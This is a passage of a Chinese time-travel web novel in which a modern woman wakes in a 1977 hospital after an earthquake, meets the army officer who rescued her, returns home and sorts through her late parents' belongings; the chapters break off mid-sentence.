《年年有新生[八零]》 1. 穿书 《年年有新生[八零]》全本免费阅读 第一章穿书? 符伊年醒来时只觉得头痛欲裂,痛得她恨不得来个人给她一棍子,好让她立刻昏过去,这样就感觉不到痛了。 可惜,房间空荡荡,周围静悄悄,不要说人影,连个鬼影都没有。 符伊年扶着额头回想了一下,只记得自己忙了一天两夜回到家,虽然困到可以随时闭眼睡,还是被洁癖驱使着去洗澡,结果刚迈进浴缸,只觉得一阵晃动,脚下一滑摔进了浴缸里,然后被一支掉下来的沐浴露瓶子砸到,晕了过去。 下班路上符伊年觉得有点饿,吞了一根士力架,想来应该不是低血糖晕倒。现在想一想,应该是遇上地震了。 那现在应该是在医院吧。也不知道自己昏迷了多久了,不知道医院有没有通知家属,不过就算通知了,爸妈也不会来吧。 胡思乱想着,符伊年总算想起来要喊医生,抬手摸了摸,却没有摸到病床呼叫铃。不知没有摸到呼叫铃,符伊年甚至摸到了一条冰凉的铁架子。 被铁架子冰了一下,符伊年心知情况不对,开始打量起周围的环境。这房间确实是病房应该没错,只是一切都和自己认知里的病房不同:绿色墙围、玻璃药瓶、黄色橡胶输液管、铁架子床、木头柜子、柜子上面的藤编暖壶…… 啧。怎么看都不像是4202年该有的布置啊。看起来更像是电视中上个世纪的画风,也不知道是上个世纪哪个年代,若是八十年代还好,那是个黄金年代,改革开放“猪都能飞起来”的风口时期;若是七十年代也还凑合,起码离“春天”越来越近了;若是六十年代…… 符伊年闭了闭眼,千万别是六十年代吧。 符伊年拄着床坐起来,揉揉已经不怎么疼的头,掀开被子下床穿鞋。拉开门,走廊静悄悄地,没有来去匆匆的医护,也没有患者或者家属走动。 左右看看,右侧是三间病房和走廊尽头的窗户,左边则是护士站。符伊年想了想,决定过去问问,别的不说,起码先问问现在是社么时间吧。这个时间不是指几点几分,而是何年何月何日。这可关系着她未来的人生走向呢。 护士站里三五个护士,不太忙的样子,正背对着自己在聊天,听起来像是八卦什么病人,声音不小,连自己走过来都没有注意到。 “听说被救出来的时候全身都光着的呢,□□的,”这道声音有点清脆,虽然她似乎已经特意压低了些,“这下子全被看光了,那周围救援的可都是战士,都是男的!” “可不是,”另外一个人附和着,“听说当时战士们都呆了,谁也没见过这样的场景,不知道要不要救,最后是祝参谋脱了自己的衣服把人遮住抱出来的。” “祝参谋也挺倒霉,人民子弟兵好好的救个人,却被赖上了,还说什么‘被看光了要负责’,太没良心了。” “其实也难怪她想要赖上祝参谋吧,祝参谋长得好还是个军官,而她被看个精光名声都坏了,哪个男的愿意娶这种女的,她当然要趁机缠住了。”听起来只是在谴责女方,可是听起来总是。 “那也不能这样啊,”另外一道生意气呼呼地,为祝参谋抱不平,“这样不和恩将仇报一样了吗,也太不要脸了!” 符伊年已经走到护士台边,正听得津津有味,一边听一边在心里点评:嚯,这么刺激么,这被救的女的也太过分了,人家救了她她反倒碰瓷人家,这行为与东郭先生个故事里的那条蛇有什么区别啊。 “我觉得你们误会了。”这时第三个声音响起,有点细弱,听起来底气不是很足,带着点分辩的意味,“符伊年也是迫不得已的,她父母都不在了,又遇到地震,天灾人祸的,想抓住点什么也挺正常的。” 正在听八卦听得津津有味的符伊年突然愣住。她刚刚说什么?符什么年?符伊什么?什么伊年? 符伊年! 原来,小丑竟是我自己吗? 此时的符伊年已经忘了自己不过是个穿越者,完全代入了原主的身份。 “你们在干什么?” 一个声音在背后响起,吓了符伊年一跳,回头一看,是一个戴着眼镜的中年医生,白大褂里面是蓝色中山服,头发半花,面容有点严肃。 这一嗓子不仅吓到了符伊年还惊醒了护士们,纷纷低头做出规矩状,“张主任”“主任好。” “嗯。”这位主任应了一声,警告地看了一番几个护士,将视线转到符伊年身上,“这位患者,你有什么事吗?” 作为一个可以独自在殡仪馆停尸间单独工作十二个小时的符伊年来说,虽然刚刚吓了一跳,现在已然回复镇定,微笑着回答:“我来问问时间。”说完瞄了一眼护士站墙壁上显示着一点二十五分的挂钟,补充道:“年月日。” 这医生虽然疑惑她居然都忘记了,不过还是告诉了她,现在是七七年十月十日下午一点二十五分。 符伊年道了谢,“呵呵,原来下午了,难怪我这么饿,谢谢您啊,呵呵,我先回去了。”说完转身离开。 等符伊年离开后,张主任重新看向这些护士,想说些责备的话又没说出口。算了,闲话的已经是常态了,管不住的。最后只是警告地看了几眼,回了办公室。 回到病房的符伊年皱着眉头在床边坐下,开始回想刚刚听 2. 祝镕 《年年有新生[八零]》全本免费阅读 第二章祝镕 将车子停靠在不碍事的路边,祝镕没有立刻下车,而是从兜里摸了烟和火柴出来想要来一支,火柴都划着了,却看到住院楼下“请勿吸烟”的牌子,无奈只好熄了火重新装起来,提起副驾驶上放着的两个网兜,下车奔住院楼去。 才下车就听到有人喊他:“老祝!祝镕!” 祝镕停下脚步回头,“哦,老汤啊,你这是去干嘛了?” 来人姓汤,叫汤河源,是祝镕所在部队的副营长,两人都是去年从战场上下来的,在军医院疗养的时候就认识了,没想到年初又分到同一个连队去了,两人一个任副营长,一个任作战参谋,经过大半年的磨合,工作越来越默契,私下交情也越来越深。 “拿体检结果。”汤河源大步走过来,不待祝镕多问就直接告诉他“啥事没有”,同时眼睛瞥到到他手里分别装着饭盒和苹果的两个网兜,“啧”了一声,“不是,你来真的的啊?这就开始照顾上了?真娶啊?” 祝镕的表情没什么变化,“万一想不开怎么办?总是一条人命。” 被祝镕这么一说,汤河源也觉得没什么好办法,“还真是挺难办的一件事。” 祝镕嘴里的“一条人命”,自然说的就是符伊年了。 这事儿吧,说来话长。 祝镕和汤河源所在的部队在距离安县八十公里以外的山里,平时多在山中营地训练、拉练。十月五号那天,营部接到通知让带两个连的人下山到重要的公共场所、进京的交通枢纽值守,还专门点名让祝镕带队。 今年最重要的节日国庆节都过去四天了,突然接到这样的命令,几位营部领导都察觉到了事情的严重性。 虽然不知道具体缘由,不过,军人以服从命令为天职,当天祝镕就带了两个连的人下山去了,一直到七号下午才接到返回营地的命令。 祝融觉得,反正下山一次,就不跟着军卡回去了,干脆拉个练徒步返回,反正才八十公里,搁长征时期一天都用不了。 当天下午,部队进入安县杨树乡。中午时分,祝镕命令部队停下来休整半小时,半小时后重新集结前进,几分钟后突然大地摇晃。 “地震!” 七六年那场震惊全国的大地震才过去一年余,安县当时也被波及,损毁了一些房屋,也伤亡了几百近千人。祝镕他们部队也有人去现场救援,被当时的情形震惊地回了部队依然用了很久才走出来。 现在一说地震来了,所有人几乎都变了颜色。 祝镕抬手做了一个停止前进的手势。好在不过十几秒地震就停了,而且震动幅度并不大,至少人还能站得住。 祝镕和当时带队的另外一位副营长商量了之后,决定二人分别带人去不同的村子排查救援,为百姓争取更多的时间。 十分幸运,祝镕带人一路排查下来,连着好几个村子都没有出现险情也没有出现伤亡的情况。 直到他们到达一个名为“杨树庄”的村子。 因为时节已是秋收时,地震发生时又是下午,村民们几乎都在田地里劳作,哪怕时五六岁的孩子也去了,毕竟只要下田就会有公分,到年底就能分粮分钱。 村子里人不多,也没什么伤亡。 除了一家。 据杨树庄的村书记介绍,这家姓符,曾经是村里的大地主,祖上出过进士,清末辞官归乡,到了民国依然有几百亩地良田。符老爷子有两个儿子,大儿子二几年就偷跑参军去了,小儿子却不争气被人引诱着沾了黄赌毒,几百亩地也败得只剩不到百亩。三五年的时候抽大烟抽死了,符老太太第二年也跟着没了,只留下了符老爷子和五岁的小孙子。 说话间一行人就来到了符家门前。果然不愧时祖上出过进士家产几百亩地的大地主,一座三米来高的门楼,两扇宽阔高大的大门,虽然门楼上的雕梁画栋已经陈旧,大门的朱漆也破落,但依然看得出曾经的威严气派,而且虽然很久没有修缮,却不曾被破坏。 这样的地主之家,在这样严峻的革命形式中,居然没有被小将们打砸破坏? 许是注意到祝镕的疑惑,书记又开口往下介绍。三七年抗战开始后不久,符家来过几个人,住了三四天的样子,来的时候空手来的,走的时候赶了两架马车。 “我那时候给地主家放牛,放牛得起早,天还没全亮呢,过去得时候正好碰上他们装车,我趴墙头上偷着瞅,这么高这么粗的大麻袋,”书记比划着,“好几麻袋的粮食,还有枪——没抬动,盖子开了,差点掉出来。等快走了,其中一个人出来在门口对着符家大宅磕了三个头才走的,我才知道是符家老大。” 祝镕点头,原来曾经支持过抗日。 哪知书记还没讲完,“抗战结束打老蒋,符家老大又回来一次,带着个女子和两个娃娃,我们都以为是他在外面娶的老婆生的娃,就是娃怎么看都不像符家人,一直到半年后又来了几个人把她们娘仨接走了,才知道原来是暴露的地下党躲难来了,并不是符老大的老婆儿女。当初符老大把人留下就走了,后来也再没回来过。” 有了这么两出事儿,加上符老二败掉了九成家产,只留下一座宅子。符家后来虽偶有风波,但多数时候还算安稳。 “后来小孙子长大,考上了大学,毕业后留在城里工厂,成了啥工程师,也结婚生孩子了,上个月两口子出了意外都没了,今天下葬。被压住的是他们的闺女,才十七。” 可惜了这么大片家业,怕是将来要落到外人手里。书记心中暗暗地想。 说话间,书记引着人来到一座院落,入眼 3. 见面 《年年有新生[八零]》全本免费阅读 第三章见面 再醒过来,原来的“符一笙”就已经变成了4202年来的符伊年了。 以上,不仅是祝镕记忆里的内容,也是病房里符伊年刚刚记起来的内容——以前“符一笙”的记忆正一点点进入到现在这个符伊年的思想中。 此时的符伊年盘腿坐在病床上,双肘拄膝双手托着下巴,思考着接下来要怎么办。 已知此时是一九七七年十月,如果历史发展没有变化的话,那么年底将恢复高考,接着就是改革开放。这样说来,自己来的时间还挺巧的呢。 根据原主的记忆和书中的内容,原主高中毕业后不久就进入纺织厂宣传科工作了,虽然现在只是一个普通的干事,一个月工资也有二十五块呢,足够她生活了。 既然如此,那我还是先苟着吧。符伊年想到此,不禁伸个懒腰,准备躺下继续睡,至于刚刚回忆到的那位祝镕祝营长,已经被她下意识地“屏蔽”了。 于是当她甜美地睡了一觉醒来,看到床边坐着的两个男人时,很是吓了一跳。直到看见两人都穿着绿色军装,才稍稍放下心来。紧接着就意识到,这两人中必有一个是祝镕祝营长。 符伊年的目光在清俊雅致、面如冠玉和精壮结实、麦色肌肤的两个男人之间来回了几次,对右边那个精壮的汉子开口:“您就是祝参谋吧?对不起,之前我吓昏了头胡说八道,您千万别当真。” 符伊年说完后很久,两人都没有反应,搞得她很尴尬,思索了片刻后,她从另外一侧下床,重新说了一遍“对不起!”并非常郑重地对他们鞠了一躬。 “咳。”汤河原看了眼身边的祝镕,清了清嗓子,“这位同志,认错人了。” 符伊年愣住,视线缓慢地移到旁边去,眨了眨眼,“哦”了一声,点点头,“我果然是昏了头。” 她嘴上是这样说,脑子里却不断地在冒问号。不是说是个作战参谋吗?不是说上过战场吗?为什么没有杀气?为什么不勇武精壮?这么白、这么雅,合理吗?真的不是文工团的吗? 符伊年盯着这位被“自己”恩将仇报、被碰瓷的传说中的那位“农夫”仔细瞧了瞧了,挺帅,即便是穿着七十年代绿军装也不掩其英俊清雅,更何况脸还那么白,说唇红齿白丝毫不夸张,难怪原主一见面就要碰瓷。 但若是仔细看这人得眼睛,丹凤眼微微上挑,内双藏睛、神光照人,却让人不敢久视。 这么想着,符伊年视线转开,低下头不再看他。 汤河原看看这俩人,一个低头专注看地面仿佛地上有金子,一个坐着注视窗外好像外头有敌情。汤河原越发受不了这尴尬气氛,抬手拍拍祝镕的肩膀,起身走人了。 祝镕其实不是不想说话,他只是还在思考要说什么,然后他发现,其实没什么能说的,这姑娘连他的脸都没记住,显然当时是真的被吓懵了,她现在回了神要否认要道歉,自己当然说不出什么,甚至还松了一口气。 祝镕收回目光,落在符伊年身上。宽大的病号服套在清瘦的身子上,空荡荡的像大衣,脸很小,可能还没有他一只巴掌大。皮肤很白,不知道是天生这么白还是病后的苍白。又白又小的脸上,眼睛倒是很大,杏目微垂不与自己对视,一条麻花辫垂在脑后,发顶略有些杂乱。 “祝镕。” 符伊年听到他自我介绍,赶忙也回应了一下,“我叫符伊年。” “我知道。” 也对。符伊年心里默默点头,从地震被救出来到现在已经两天多了,作为一个军人,莫名其妙被人缠上,他怎么可能不调查?说不定祖宗八代都调查完了。 挺长时间以后,祝镕和符伊年谈起第一次见面,得知她这样的想法后哭笑不得,“查是肯定要查一下的,如果当时真的结婚,政审也要做的,但是也没那么夸张到祖宗八代啦,就按常例调查三代。” 扯远了。 现在的状况是,一间房两个人三句话,然后又安静了。其实彼此都有话要说,但是又都不知道该怎么说。 祝镕想问符伊年是不是真的想好了,可是又怕对方觉得自己太过自恋——人家就是吓到了,你何必这么自恋? 符伊年呢,其实想问他怎么还不走,可是对方怎么说都是自己这具身体的救命恩人,不好这么大剌剌地下逐客令吧? 直到一个护士打开门推着推车进来,“二十六床打针了。” 符伊年注意到这个护士正是最开始说她“没良心”的那个,不光语气轻蔑,动作也很粗鲁,给符伊年扎绑带时系得很紧,勒出了一条红痕,松开时也很用力地拽,导致橡胶管“啪”地一下弹回她得手背打处一条红印。 手臂、手背各两条红印,在符伊年白皙的皮肤上,还挺刺目的。祝镕看了一眼符伊年,见她只是揉一揉手臂又在手背上摩挲两下就不管了。祝镕眉头皱了皱,忍了忍还是在护士出门前告诫她“下次轻点”。 符伊年挺吃惊,她没想到祝镕会注意到这么细节的问题,也没想到他会替自己说话,急忙道谢,“多谢了,不过其实不怎么疼。” 祝镕无语,虽然不知道为什么,这护士明显针对她她感觉不到吗?这么迟钝、好脾气,又是个父母双亡的孤女,以后不会被人欺负吧? “你一个人,日后有什么打算吗?”祝镕委婉地问道,“有什么困难可以说出来我来帮你解决。” 符伊年没有听出来他着重强调了“一个人”,只觉得这个人如此热心地去帮一个差点碰瓷了他的人,你说“蛇”不咬你咬谁呢?警惕性这么低,真的是从战场上下来的军人? 幸亏符伊年没有说出来,不然祝镕还不得气死,人家好心好意替你考虑以后,你还要质疑人 4. 回家 《年年有新生[八零]》全本免费阅读 第四章回家 第二天一早,符伊年就去找医生办理出院。医生刚好是昨天告诉她日期的那个医生,见她来办理出院,还仔细问了问她的状况,确定她的确没有问题了才给开出院单。 符伊年拿着出院单走出办公室,还没两步远就听到里面有人尖着嗓子说:“张医生,她说好了就是好了呗,你管那么多干什么?” “我是医生,要对我的患者负责。”张医生没有多解释,只说了这么一句。 符伊年听出来了,尖嗓子说话的正是昨天给自己扎针的那个护士。她没有理会,径直去办理了出院。 符伊年以前听说过,六七十年代的医院收费很低,但是她从来没有想过,居然会有免费这种好事。惊奇得她再三确认,问得工作人员快要不耐烦了,才终于确定,原来真的不用自己出钱——厂子会报销的。 怪不得到了九十年代很多国企都倒闭了,一个工厂的干部、工人少则几百人多则上千人,工厂几乎负担了所有人的衣食住行,如此庞大开支,加上后来的诸如技术落后、人员冗杂、消极怠工等问题,不倒闭才怪吧。 办完出院,符伊年循着原主的记忆来到公交站,坐公交车回家。符家住在化工厂的家属院里,这是符父前年升主任后分的房子,六十几平方的两室一厅,一家三口住着绰绰有余。 原主的父亲叫符志红,原名叫志鸿的,解放后为了顺应“潮流”改了名字,是化工厂的生产主任。原主的母亲叫唐致清,是县一中的老师。符、唐夫妻二人都是工人,只有原主符伊年一个女儿,一家三口生活的其乐融融。尤其前年,符伊年高中毕业后考进食品厂做了干事,符父不久升了主任,全家也从那个一室一厅的小房子搬进了现在的两室一厅的大房子里,可谓是事事顺心。 尤其符志红,升生产主任那年还不到四十岁,真正的前程似锦,如无意外很快就会升为副厂长、厂长。 可惜,天有不测风云,意外就是这么来了。八月初的时候,符志红一批昂贵的化工原料回厂,途中遇到暴雨,符志红带着司机和几个工人给车上的原料铺盖遮雨布,跳下车厢时不慎脚滑,摔倒了,脑袋刚好摔在路边一块石头上,顿时流血不止。因为下雨道路泥泞,路上用了比平时多一倍的时间才把人送到最近的医院,可惜人已经不行了。 无独有偶。同一天下午,下班回家的安县一中老师唐娟路过水库,发现里面有几个小孩子溺水了,她毫不犹豫地跳下水将几个孩子一一救上来,孩子们几乎安然无恙,唐老师却因为体力透支没有上来。 符家夫妻二人,一个是出差时保护集体财产牺牲的,一个是见义勇为救人牺牲的,都是光荣的烈士。厂办来慰问,学校来探望,街道来安慰,就连报社记者都来了两次,说要将夫妻二人的事迹报道出去,号召、呼吁人们向他们学习。 访客往来不断,每一次来人都要重复一遍符伊年的伤心事,再说一些同情、可怜她的话,最后拍拍她的肩膀鼓励她“坚强”。这般地慰问,无异于将她的伤口一次次扒开、一次次撒盐,最后还得她自己默默舔舐伤口默默恢复。 所以等老家得到消息、来人参加葬礼后问她要不要回去办“五七”,原主立即点头同意。这才有了之后的地震、被救、碰瓷等等一系列事情。 回忆到这里随着公交到站也停了下来。下了车,符伊年往化工厂的家属院走,一直到家掏出钥匙开门,符伊年才惊觉自己这一路走回来很顺畅,甚至都不用思考,就好像喝水吃饭一样,是她的本能。 然,不待她多想,有人在敲门,“是年年回来了吗?” “是我,您稍等。”符伊年答应着,面上却苦笑,自己这才进家门还没坐下就有人来问,看起来是在时刻关注着呢。一想到将来要经常面对这些来自“熟悉”的人的“关注”、“关心”、甚至“同情”,作为社恐的符伊年就觉得头又痛起来。 符伊年将背包放在沙发上,转身将门拉开。外面站着三个人,老中青三位女性。年老一点的是个奶奶,花白的头发梳成发髻在脑后,腰间系着一个阿庆嫂那样的围裙。老奶奶被一个和原主差不多年纪、穿着碎花褂子的女孩搀扶着。另外还有一个三四十岁的阿姨,齐耳短发、蓝色列宁装,看起来很是精明干练,还有一个 “年年,回来了,怎么样?顺利吗?身体怎么样了?” 门一打开,中年阿姨就拉住了符伊年的手,一叠声问了好多问题,看起来对原主很是关心。 “我挺好的,还算顺利。”符伊年脑子迅速地转,没想起来这位阿姨的名字,只好羞愧地说:“阿姨,我地震砸到了脑子,有些事记不住了,您……” “哎哟,快坐下快坐下,”她拽着符伊年将她带到沙发边按着人坐下,“砸到脑子可不得了,去医院检查过了没有?” 符伊年点点头说去过了,然后将话题拉回来,“阿姨,您……贵姓?” 中年阿姨见她这样是真的不记得了,连“贵姓”这样客套的词都用上了,不得不进行一番介绍。这位阿姨姓卢,是化工厂工会主席,因为孙子发烧请假在家照顾孩子,从家里窗口看到符伊年回来了,立刻过来看看。 “这两位是司机小陈的奶奶和妹子小月,住你家楼下,也是看到你回来了过来看看。” “卢阿姨,陈奶奶,小月妹妹。”符伊年对三人微微欠身,“谢谢你们来看我,我都挺好的。” 陈奶奶拉过符伊年的手,仔细地打量了一番她的脸色,点头,“比前些日子看着精神多了,就是有点瘦,以后多吃点。过去的事儿都过去了,日子还得过,还得过好,不能让人瞧了笑话,也得让你爹妈地下安心不是 5. 整理 《年年有新生[八零]》全本免费阅读 第五章整理1 符伊年感伤了一下,但也没有太久,毕竟事情还多,不能一直沉湎在过去。 首先将两个卧室的床单被罩都拆下来放进洗衣机里,洒上洗衣粉定好时间,然后找到抹布将所有桌面、橱柜擦干净。 好在灰尘并不多,将桌面橱柜擦干净后,洗衣机的清洗时间到了,符伊年过去重新放水漂洗,然后回去清扫地面。地面是水泥的,十分平整,清理起来也很方便。 先扫再拖,整个地面拖完的时候刚好洗衣机漂洗结束,于是符伊年提着湿漉漉的床单被罩放进甩干桶,盖上盖子,拧动电源。 咚咚咚,咚咚咚,咚咚咚。 洗衣机响个不停,符伊年吓了一条,赶忙将电源拧回原位,重新打开甩干桶。不会是坏了吧?符伊年盯着甩干桶里的一团衣物,要是真坏了得把她的手拧断了也拧不干吧? 对着洗衣机运了一会儿气,就在她想要伸手把里面的床单拿出来自己手动拧干的时候,她突然想起来了,这种洗衣机甩干的时候桶里的衣物不能团成一团,而是要均匀地放在桶内,避免因重量不同造成甩干桶乱晃。 重新整理了一番,再拧动电源,这回甩干桶工作地就平稳多了。甩干结束,将被罩床单拿出来平整地晾在晾衣杆上。 做完这一切,时间已经接近正午,到底是大病初愈,符伊年已经手软脚软了。符伊年的记忆里,符家其实是食堂的常客,因为一家三口没有一个擅长厨艺的。 符伊年就不一样了,年少离家、早期的微薄收入和常年的独居生活,都迫使她学会了做饭,至少家常菜没什么问题,也许说不上美味,至少可以入口填饱肚子。 不过虽然符家吃食堂的时候多,但家里倒也不是一点食材也没有的。之前整理厨房的时候就发现了三包挂面,装在柳条筐里的十个鸡蛋,挂在墙上的网兜里有两棵大葱和三颗土豆,还有一箱十盒现在只剩四盒的铁皮罐头,角落里的一坛萝卜咸菜,甚至米桶里还有小半桶的大米。 煮挂面或者蒸米饭都可以,只是谁能告诉她,这炉灶怎么用啊?煤球怎么点?万般无奈下,只好用一块新煤球,去楼下陈奶奶家换了一块燃着的,这才算有了办法做饭。 一小把挂面、一颗鸡蛋,再开半盒罐头——另外半盒可以晚上吃,煮好装进大海碗里,符伊年的午饭虽然简单,但也不失营养,热乎乎地吃下肚,整个人都十分地满足。 饭后少坐了片刻,符伊年重新回到客厅,站在地中间左右看了看,决定从书柜开始整理起来。 符家书柜不小,一整面墙除了一张写字台,剩下都被书柜占了。书柜里的书很多,甚至有原主从小到大的教科书——这倒是方便了符伊年备考,至少不用到处去借课本了。 不过这些只占了一小部分,四分之一都不到。其他的书可以说是五花八门,不同版本的马列著作,全套的主席语录、主席选集和不同语言不同版本的主席诗词。 除此之外,还有符志红用的不同化工专业书籍和报刊,中文和外文都有,有唐致清的《教育学》《心理学》唐诗宋词元曲,还有一些文学巨著,国内的比如鲁迅全集、老舍全集、茅盾作品集,国外的比如高尔基作品集、托尔斯泰作品集、《十万个为什么》、《钢铁是怎样炼成的》……甚至还有《格林童话》! 报纸杂志也很多,不止有《人民日报》《光明日报》《工人日报》这样的官方报纸,《大众医学》《影坛周报》《无线电》这样的杂志,甚至还有《文汇报》《大公报》这类这个年代几乎不会出现在普通人家的港城报纸,全都用黑色的绳子装订成册。 符家有点厉害啊。符伊年心里想。 而最让符伊年感到不可思异的是,书架的最底下的两层,竟是整整齐齐的小人书,粗略估计有上百本。有《三国演义》《水浒传》这种名著改编的连环画,也有《三毛流浪记》《葫芦娃》《红岩》《草原小姐妹》这样的这个年代常见的小人书,甚至听说都没听说过的讲述中朝友谊的《友谊颂》,最离谱的是居然有一本《画皮》。 符伊年翻了翻,发现这本《画皮》其实是改编自蒲松龄《聊斋志异》中的《画皮》一篇。《画皮》嘛,符伊年虽然没看过原著,电影还是看过的,不过电影里为了呈现打斗画面将原来的书生改成了武将,情节也更侧重于王生的感情纠结以及王夫人的大义献身。 连环画里则改动不大,这里王生是个“愚而迷”的书生,因贪图美色将“偶遇”的美女领回了家,不听家人劝阻,最后被恶鬼挖去了心肝。 这本连环画薄薄一本,只有十几页,每页一幅彩色画图,下面跟着四句七言或者无颜短句,将图画简要地介绍一番,可以说是色彩细腻、文字简洁,图文并茂的形式非常适合少儿阅读,并接受其中深刻的寓意:知人知面不知心,画虎画皮难画骨。 真好,以前的人吃得真好啊。符伊年又从头到尾翻了一遍,越发对细腻的色彩生动的情节所吸引,越发感慨这样的连环画后世可不多见了,即便有也都是电脑制作,精致倒是精致,可是哪有手绘的珍贵。 将《画皮》放回原位,符伊年决定以后找个时间要好好翻翻这些小人书,说不定还能找到几个沧海遗珠,若干年后可就成了绝版孤本啦! 等合上书柜门站起身来,符伊年突然发现,符家的书柜安排摆放也是很有讲究的。 最上面两层摞得都是装订好的报刊杂志,最上头是《光明日报》和《人民日报》,《大公报》这类则被压在下面,最下面两三层是原主的教科书和连环画。这两部分用的都是木门遮挡,柜门一关,并不知道里面都有什么。 而中间玻璃门里摆放的都是符志红和唐致清常用的书籍,放得虽然 6. 整理2 《年年有新生[八零]》全本免费阅读 第六章整理2 符伊年感叹一番将照片又塞了回去,放下相册,拿起下面的牛皮纸文件袋。文件袋一共两个,一薄一厚。 薄的那袋里装了符志红和唐致清的证件,高中毕业证书大学毕业证书,不同职级的职称证书,还有不同年份不同名目的获奖证书。 也是这个时候符伊年才发现,符志红和唐致清竟然是同一所大学毕业的,都是津门大学的学生,只是一个是四九年入学学了化工,一个是五零年入学学的文学。唔,这样看说不定是校园爱情呢。 这个时候的证书都还只是一张纸,而且纸张有点脆,符伊年小心翼翼地将这些证书重新放回去封好,拿起另外一个。 这个文件袋就厚多了,摸起来里面的东西大小形状不一。摸出第一本,粮油本。第二本,户口本。第三本,煤球证。其他的则是用小夹子夹住的布票、糖票、工业票等等。这些票据有的符伊年在网上见过,有的甚至根本没有听说过,比如:板凳票。 唉,过日子果然是件繁复又麻烦的事。 桌子左侧还有一个小柜子,里面摞着三个铁皮盒子,是那种看起来就很高档的饼干盒。不过打开后发现一块饼干都没有,分别用作了医药箱、针线盒和零钱盒。 说是零钱盒,符伊年大概数了数,得有七八十块了,既有面值十块的大团结也有一两分的纸币硬币,还有几张粮票,都是一两二两的,最大的是一斤。这些应该就是符家的日常开销了。 这么整理着,时间不知不觉过得就很快,太阳西斜天色渐暗。听到“团结就是力量”的歌曲声传来,符伊年抬头看向墙上的挂钟,刚好五点钟,知道这代表着厂区下班散工了。 工人下班,食堂就开放了,不回家吃或者倒班的工人就会涌进食堂,这时食堂就成为了一天中最喧闹的场合,也是家长里短流言蜚语衍生最多传播最快最广的地点。 思前想后,符伊年还是放弃了去食堂解决晚饭的念头。首先自己才穿过来,这里说是“家”其实很陌生,无论时周围环境还是人,几乎都不知道——脑袋被砸失忆这样的借口也只能暂时小范围用着,一旦人多就容易出纰漏的。 其次符家才办完丧事,自己毕竟有孝在身,到底有一层忌讳,还是少往人前去为好。 最重要的是!符伊年她是,i人! i人最怕什么?最怕人多的场合呀,到时候这个问一句那个问一句,社恐发作回答不好露馅怎么办? 于是符伊年的晚饭和午饭一样,还是一把挂面一颗鸡蛋半盒罐头。 夜晚来临,没有手机没有网络,甚至没有电视,符伊年找了新的床单被罩换上,锁好门窗,从书柜里找了本高中数学教材,关掉客厅和厨房的灯,转身钻进被窝里,接着床头台灯翻起原主的数学书。 符伊年在她原来的时空是参加过高考的,当时被省内的一所二本院校录取,只是临近开学时却发现录取通知书不见了,同时不见的还有家里的户口本和自己的身份证。 若只是三样证件中的一样或两样不见了,符伊年都能骗自己是出了意外,只要她去补办了证件就行了。可是这三样同时不见,符伊年连自欺欺人都无法做到了——除了自家人还会有谁呢? 想不到吧,4202年了,家长重男轻女到连女孩子读书的机会都要给毁掉。 最后的结局就是大吵一架,符伊年离家出走去打工赚钱准备复读,却因为耽误太多时间落了榜。后来在同学家长的介绍下在殡仪馆做面容修复工作,美其名曰“入殓师”。 时隔多年,甚至换了个时空,符伊年再次拿起高中课本,为参加恢复的第一次高考做准备——正式文件尚未下发,可谁让她有了上帝视角?公平?不,这世界是没有绝对公平的。 不知道是原主身体的生物钟习惯,还是大病初愈精力不济,本来能毫无压力熬夜至凌晨的符伊年,在时针刚刚过“9”时就开始呵欠连连,到后来眼泪都流出来了。 困成这样,再看下去也没什么效率,今天搞卫生整理客厅又很累,干脆先睡了吧。符伊年自我催眠,抬手关掉台灯拉上被子,闭眼进入睡梦中。 “五星红旗迎风飘扬……现在是……和报纸摘要时间……” 符伊年用被子蒙住头依然无法阻止音乐声和播音声从窗外传进来,只好从被子下面钻出来,眯着眼睛瞅了眼窗台上闹钟的时间,长叹一声:才六点半啊! 难怪我的祖国越来越繁荣越来越富强,有这样一群勤劳勇敢、热爱生活、热爱工作的人民,怎么可能不崛起? 既然睡不着,符伊年干脆起身,毕竟今天还要整理两间卧室,工程量也不算小。 早饭是白粥。 昨天从楼下陈奶奶家换了一块煤球,热心的陈奶奶还给她传授了如何密封炉灶——炉灶有密封门,但是即便关上也不是十分严密,还是可以通一点风的,这样煤球就既不会灭但也不会燃烧得很快,下次做饭烧水的时候将密封门打开通气就行了。 符伊年甚至无师自通,接了一壶水放上去让它慢慢热着,需要大火烧开的时候再将密封门打开。 这白粥也是昨晚就淘好米装在双耳锅里放在炉灶上的,关了密封门用小火煮着,因为怕水少烧干锅,符伊年还特意多放了水,一晚上下来,竟然也咕嘟咕嘟冒了泡。 用小勺舀了几颗米粒上来尝了尝,唔,还有点夹生,下次可以少放点水。将炉灶密封门打开一半,让火燃的大了些,接着从角落的咸菜坛子里捞出一块酱黄瓜,洗好切块。这会儿功夫足够白粥彻底煮熟,盛一碗出来就着酱黄瓜吃掉。 新的一天,开始了。 符家一共两间卧室,一大一小,符志红夫妻俩住大的那间,原主住小的这间。其实昨晚为了方便入住,符伊年已经简单地整理了这间卧室。 卧室不大,十平米左右,四方形。一张单人床摆在窗下,床头靠墙,窗台上有一面四方镜、一盆仙人掌和一盆不知名的 7. 家底 《年年有新生[八零]》全本免费阅读 第七章家底 挨着柜子是两口红木箱子,箱子上面的墙壁挂了六扇镜屏,中间四扇分别画的梅兰竹菊,两侧则印着“淡泊以明志,宁静以致远”。 两个柜子一个挂了锁一个没有,符伊年先打开没锁的那个。 柜子塞的挺满,但都是被褥,一件一件取出来铺在床上,发现一共三套被褥两只枕头,还有男女各一件半旧的棉袄。 符伊年把东西拿出来的时候没注意力度,有两套被子散开了,她只好展开重新整理了一遍才放回柜子,第三套倒是没散,但是前两套都重新整理了,也不差这一套了。 然后她就从被子里抖出了一个盒子。 看到这个盒子,符伊年第一个想法竟然是:其他被子都散了,裹着盒子的被子居然没有散? 盒子是一支红色木盒,不算大,大概和牛津词典差不多,只是厚度要薄了一半,表面雕了龙凤呈祥的图案,上了锁,锁头不大,是那种挺古老的黄铜锁。 符伊年只好把已经放回柜子的被褥重新搬出来挨个抖,当然找不到钥匙。其实用锤子也能砸开,只是那样实在太破坏了,符伊年不想那么干。最后只好将盒子放在一旁,然后一件件将被褥和棉衣重新放回去。 盖好第一口箱子的盖子,符伊年盯着第二口箱子上面挂着的双鱼锁思索了一会儿,回身拿起花瓶中的一个,从里面倒出来一串儿钥匙。 从一串儿钥匙中挑出那个印着两条鱼的,很容易就将第二口柜子打开了。其实第二口柜子里也没啥特殊的或者说值钱的,里面装的都是夫妻俩的四季衣服。 “这有啥好锁的。”符伊年低声嘟囔了一句,“还不如锁之前那个呢。”起码那个盒子看起来非常神秘,也看起来更值钱。 